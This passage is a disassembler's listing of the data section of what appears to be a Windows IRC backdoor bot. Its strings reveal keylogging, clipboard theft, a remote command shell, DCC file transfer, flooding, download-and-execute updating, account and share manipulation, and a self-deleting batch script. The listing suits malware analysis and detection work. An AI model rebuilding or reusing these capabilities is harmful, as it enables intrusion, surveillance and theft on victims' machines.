aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_407E65+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_407E65+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_407E65+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_407E65+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_407E65+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_407E65+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_407E65+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_407E65+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_407E65+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_407E65:loc_4087A5o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_407E65+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_407E65+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_407E65+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_407E65:loc_408746o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_407E65+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_407E65+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_407E65+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_407E65+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_407E65+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_407E65+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_407E65+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_407E65+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_407E65+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_407E65+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_407E65+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_407E65:loc_408626o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_407E65+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_407E65+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_407E65+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_407E65+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_407E65+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_407E65+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_407E65+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_407E65+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_407E65+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_407E65+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_407E65+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_407E65+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_407E65+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_407E65+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_407E65+5D2o
					; sub_40D2E0+220Do
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_407E65+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_407E65+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_407E65+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_407E65+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_407E65+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_407E65+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_407E65+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_407E65+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_407E65+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_407E65+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_407E65+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_407E65+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_407E65+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_407E65+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_407E65+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_407E65+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_407E65+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_407E65+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_407E65+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_407E65+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_407E65+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_407E65+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_407E65+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_407E65+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_407E65+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_407E65+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_407E65:loc_408274o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_407E65:loc_40824Co
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_407E65+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_407E65+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_407E65+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_407E65+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_407E65+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_407E65+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_407E65+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_407E65:loc_40819Eo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_407E65+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_407E65+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_407E65:loc_408159o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_407E65+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_407E65+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_407E65+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_407E65+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_407E65+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_407E65+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_407E65:loc_4080C4o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_407E65+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_407E65+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_407E65+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_407E65:loc_40805Do
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_407E65+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_407E65+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_407E65+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_407E65+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_407E65+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_407E65+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_407E65+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_407E65+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_407E65:loc_407F9Ao
					; sub_41F17E+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_407E65:loc_407F6Do
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_407E65+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_407E65+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_407E65+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_407E65+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_407E65+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_407E65+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_407E65+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_407E65+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_407E65+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_407E65+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_407E65+23o
		align 4
aKernel32_dll_1	db 'kernel32.dll',0     ; DATA XREF: sub_407E65+Ao
		align 4
unk_428E7C	db    2			; DATA XREF: sub_408AF2+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40907B+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_409140+5o
					; sub_4140CC+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4091C2+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409266+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409288+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409288+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409288+48o
		align 10h
unk_4290C0	db    2			; DATA XREF: sub_409448:loc_409507o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 10h
unk_429100	db    2			; DATA XREF: sub_409448:loc_4094D5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 10h
unk_429140	db    2			; DATA XREF: sub_409448:loc_4094A1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_429174	db    2			; DATA XREF: sub_409448+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_4291B4	db    2			; DATA XREF: sub_4095CC+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 10h
unk_4291F0	db    2			; DATA XREF: sub_4095CC+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_429228	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_409758+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_429264	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_409758+8Eo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4099D6+33o
dword_4292AC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_409A5D:loc_409B8Fo
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_4292EC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_409A5D+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_429324	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_409A5D:loc_409B43o
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_429364	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_409BB2+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_4293A8	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_409BB2+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_409BB2+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_409D67+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_409F1E+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_409F1E+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_409F1E:loc_40A082o
		align 4
word_4294E8	dw 3Fh			; DATA XREF: sub_409F1E:loc_40A020r
					; sub_40B6AD+1Fo
		align 4
dword_4294EC	dd 28207325h, 297325h	; DATA XREF: sub_409F1E+EBo
dword_4294F4	dd 3F3F3Fh		; DATA XREF: sub_409F1E:loc_409FE1o
					; _0:loc_41407Do
a2003		db '2003',0             ; DATA XREF: sub_409F1E+BAo
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_409F1E+AAo
					; _0:00414068o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_409F1E+98o
					; _0:00414058o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_409F1E+7Eo
					; _0:0041403Fo
		align 4
a98		db '98',0               ; DATA XREF: sub_409F1E+6Co
					; _0:0041402Fo
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_409F1E+5Ao
					; _0:0041401Fo
		align 4
a95		db '95',0               ; DATA XREF: sub_409F1E+46o
					; _0:00414011o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40A1D2+A4o
		align 4
off_429558	dd offset loc_412F49+5	; DATA XREF: sub_40A1D2:loc_40A23Eo
off_42955C	dd offset dword_4E414C	; DATA XREF: sub_40A1D2:loc_40A234o
dword_429560	dd 6C616944h, 70752Dh	; DATA XREF: sub_40A1D2+5Bo
dword_429568	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40A1D2+48o
unk_429578	db    2			; DATA XREF: sub_40A291:loc_40A44Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_4295B8	db    2			; DATA XREF: sub_40A291:loc_40A443o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_4295F4	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40A291+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_429620	db    2			; DATA XREF: sub_40A291:loc_40A424o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42966C	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40A291+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_429698	dd 2A2F2Ah		; DATA XREF: sub_40A291+3Bo
dword_42969C	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40A53B+35o
dword_4296A8	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40A53B+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40A5B3+60o
		align 4
dword_4296DC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40A653+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_429704	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40A693+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_429730	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40A693+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_429750	dd 80000002h, 42ADE4h, 80000002h, 42AE14h, 80000001h, 42AE4Ch
					; DATA XREF: sub_40A7C2+7o
dword_429768	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40A7C2+63o
					; sub_40A965+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_4297AC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40A965+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_4297EC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40A965+47o
					; sub_40AB26+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 10h
dword_429820	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AB26+362o
					; sub_40AEC8+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_429848	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AB26+2FAo
		dd 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_429898	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AB26+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_4298CC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AB26+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_4298F4	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40AB26+16Ao
		dd 169h
dword_42990C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AB26+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42993C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AB26+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_429970	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AB26+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_4299A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AEC8+1D1o
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_4299F8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AEC8+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_429A28	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AEC8+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40AEC8+97o
dword_429A68	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40AEC8+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_429AA8	db    2			; DATA XREF: sub_40B105+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_429AE4	db    2			; DATA XREF: sub_40B105+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_429B2C	db    2			; DATA XREF: sub_40B105+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_429B7C	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40B105+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40B105+336o
					; sub_40D2E0+2B48o ...
		align 10h
unk_429BB0	db    2			; DATA XREF: sub_40B105+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_429BF8	db    2			; DATA XREF: sub_40B105+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 10h
unk_429C30	db    2			; DATA XREF: sub_40B105+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
